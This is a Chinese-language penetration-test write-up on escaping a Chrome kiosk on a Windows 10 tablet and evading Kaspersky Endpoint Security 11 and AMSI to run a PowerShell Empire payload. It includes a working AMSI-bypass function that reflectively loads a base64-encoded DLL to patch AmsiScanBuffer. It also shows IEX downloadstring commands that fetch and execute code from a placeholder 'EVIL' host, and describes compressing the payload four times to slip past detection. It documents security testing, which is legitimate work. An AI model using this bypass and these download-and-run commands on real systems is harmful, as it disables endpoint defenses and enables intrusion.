如何绕过Kaspersky Endpoint Security 11

 

一、前言

在最近一次实际操作中，我面对的是没有安装任何（渗透测试）工具的一台Windows平板电脑，我的任务是测试其安全性以及我能入侵的深度。我有自己的笔记本电脑，但不能直接将其接入内部网络中。然而如果我成功入侵了目标平板，就可以将自己的主机作为C2服务器。长话短说，由于我需要绕过反病毒软件，因此获得初始shell比搞定网络环境更加困难。

 

二、实验环境

1、目标平板安装了打全补丁的Windows 10系统

2、平板上安装最新版的Kaspersky Endpoint Security 11（KES11）

3、平板上安装了运行在kiosk/PoS模式的Google Chrome

4、C2上运行Powershell Empire监听程序

 

三、信息收集

因此，现在目标平板的Chrome运行在kiosk/PoS模式，并且（几乎）所有的Windows快捷键都会被拦截，如WIN+R,、ALT+TAB、 CTRL+P以及ALT+SPACE等，大家可以参考“Kiosk/POS Breakout Keys in Windows”这篇文章了解更多内容。

然而，浏览器并没有禁止我们使用CTRL+N快捷键打开新页面，因此现在我们可以打开新页面访问互联网，非常好。我转到URL栏，使用file://来下载并打开cmd.exe：

我并没有火急火燎使用刚弹出来的终端，而是尝试点击已下载文件的file location链接，想使用Windows Explorer，通过GUI方式访问文件及共享。然而我们的操作被系统拒绝，可能是因为目标设置了某些GPO策略。

再次回到终端：

1、我枚举了目标系统的文件及共享，并没有发现有趣的信息；

2、运行wmic product get name, version命令来枚举已安装的软件及软件版本；

3、运行wmic qfe命令获取系统已安装补丁情况；

4、运行net user my_user /domain命令（my_user为域用户，模拟内网攻击）；

5、运行whoami /priv获取我当前的权限。

以上操作并没有得到可以直接利用的点，不能快速搞定目标。目前我掌握的是不具备管理员权限的一个域用户，并且该用户所属的组附加了许多限制性GPO设置。目标上安装了AV产品，包括Kaspersky Endpoint Security 11.0.0.6499版以及Windows Defender。

 

四、百转千回终成功

我的目标之一就是绕过AV，将Empire后门注入目标系统，然后继续前进。由于这并不是一次红方行动，并且时间有限，因此我并没有复制目标平板的环境进行测试。我首先利用一个加密渠道，通过Powershell的IEX (New-Object Net.Webclient).downloadstring("https://EVIL/hello_there")命令下载Empire Powershell启动程序，然而这个操作并没有被AV拦截，而是先被防火墙拦截，可能是因为防火墙会检查SSL数据。因此，我的payload不仅要能在内存中执行，至少还需要能通过防火墙的拦截。

压缩及内存patch

现在目标平板上安装了Windows Defender，并且让KES11负责大多数反恶意软件扫描任务。然而，我发现KES11使用了AMSI接口来检测基于脚本的攻击，这是比较麻烦的一件事。实际上，卡巴斯基在官网上提到了AMSI技术，但只在Kaspersky Security for Windows Server页面中提到如下一段话：

（该产品）支持AMSI接口。利用Microsoft Windows上集成的AMSI技术，我们可以提升服务器端拦截脚本启动的能力。（通过这种方法）我们改善了脚本监控任务的稳定性，检测到威胁后能进行拦截，降低应用程序对当前环境的影响，极大扩展了任务范围：现在脚本监控组件不仅能处理JS以及VBS文件中的脚本，也能处理PS1文件。当Microsoft Windows Server 2016或更高版本服务器上安装脚本监控组件后，我们就可以使用相应功能。

我的一位小伙伴最近分享了一篇很赞的文章（“Bypass AMSI and Execute ANY malicious powershell code”）（安全客已有此篇文章），文中介绍了如何通过DLL文件在内存中patch AMSI（Anti Malware Scan Interface，反恶意软件扫面描接口），无需提升权限就能绕过/禁用AMSI。

考虑到这一点后，我们首先需要绕过流量监控，这里我们可以使用Invoke-Obfuscation，只需压缩处理Empire payload若干次就能绕过流量监控。

首先，我们提取由Empire生成的launcher.bat文件中的base64数据，解压这段数据后，将其发送至Invoke-Obfuscation。为了完成该任务，我们可以运行set SCRIPTBLOCK our_empire_base64decoded_payload命令：

然后运行若干次COMPRESS\1命令来压缩我们的payload：

然后我们就可以成功下载该文件并使用IEX将其载入内存中。然而现在虽然我们绕过了流量监控，但AV开始拦截我们payload的执行（这一点并不意外）。

经过研究后，我发现在AMSI检查脚本之前，KES11的启发式检测机制或者基于签名的检测机制首先会处理我们的payload。最终我将payload压缩了4次，成功绕过了AV，但仍会被AMSI检测：

接下来我们需要的做的就是禁用AMSI。我在一个Web服务器上托管了如下代码，然后使用IEX将其下载到目标平板中：

function Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("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N0RBQ0VEAEJ5cGFzc0FNU0kAbXNjb3JsaWIAc3JjAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAc2l6ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEFsbG9jSEdsb2JhbABNYXJzaGFsAEtlcm5lbDMyLmRsbABCeXBhc3NBTVNJLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24Ab3BfQWRkaXRpb24AWmVybwAuY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBSdW50aW1lSGVscGVycwBCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9wX0VxdWFsaXR5AAAAABFhAG0AcwBpAC4AZABsAGwAAFdFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAcgBlAHQAcgBpAGUAdgBlACAAYQBtAHMAaQAuAGQAbABsACAAcABvAGkAbgB0AGUAcgAuAAAdQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByAABzRQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAHIAZQB0AHIAaQBlAHYAZQAgAEEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAgAGYAdQBuAGMAdABpAG8AbgAgAHAAbwBpAG4AdABlAHIAAHVFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAYwBoAGEAbgBnAGUAIABBAG0AcwBpAFMAYwBhAG4AQgB1AGYAZgBlAHIAIABtAGUAbQBvAHIAeQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAhAABNQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByACAAcABhAHQAYwBoACAAaABhAHMAIABiAGUAZQBuACAAYQBwAHAAbABpAGUAZAAuAAAAAABNy6E5KHzvRJzwgzKCw/hXAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIHBwUYGBkJGAIGGAUAAgIYGAQAAQEOBAABGQsHAAIBEmERZQQAARgICAAEAR0FCBgIBQACGBgICLd6XFYZNOCJAwYREAUAAhgYDgQAARgOCAAEAhgZCRAJBgADARgYCAMAAAgIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAADwEACkJ5cGFzc0FNU0kAAAUBAAAAABcBABJDb3B5cmlnaHQgwqkgIDIwMTgAACkBACQ4Y2ExNGM0OS02NDRiLTQwY2YtYjFjNy1hNWJkYWViMGIyY2EAAAwBAAcxLjAuMC4wAABNAQAcLk5FVEZyYW1ld29yayxWZXJzaW9uPXY0LjUuMgEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUULk5FVCBGcmFtZXdvcmsgNC41LjIEAQAAAAAAAAAAAN3BR94AAAAAAgAAAGUAAAAMLAAADA4AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RTac9x8RJ6SEet9F+qmVae0gEAAABDOlxVc2Vyc1xhbmRyZVxzb3VyY2VccmVwb3NcQnlwYXNzQU1TSVxCeXBhc3NBTVNJXG9ialxSZWxlYXNlXEJ5cGFzc0FNU0kucGRiAJksAAAAAAAAAAA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| Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable()
}

来源：Bypass AMSI and Execute ANY malicious powershell code

接着执行IEX (New-Object Net.Webclient).downloadstring("https://EVIL/amsi")命令，再执行Bypass-AMSI。

成功执行

现在我们的payload已经压缩过4次，并且禁用了AMSI，我们可以下载payload并在内存中执行该payload：

IEX (New-Object Net.Webclient).downloadstring("https://EVIL/compressed4.txt")

如上图所示，我们可以看到payload压缩3次后还会被KES11检测到，但第4次压缩后就可以绕过AV，并且此时由于AMSI处于禁用状态，因此我们可以成功执行payload：

大功告成！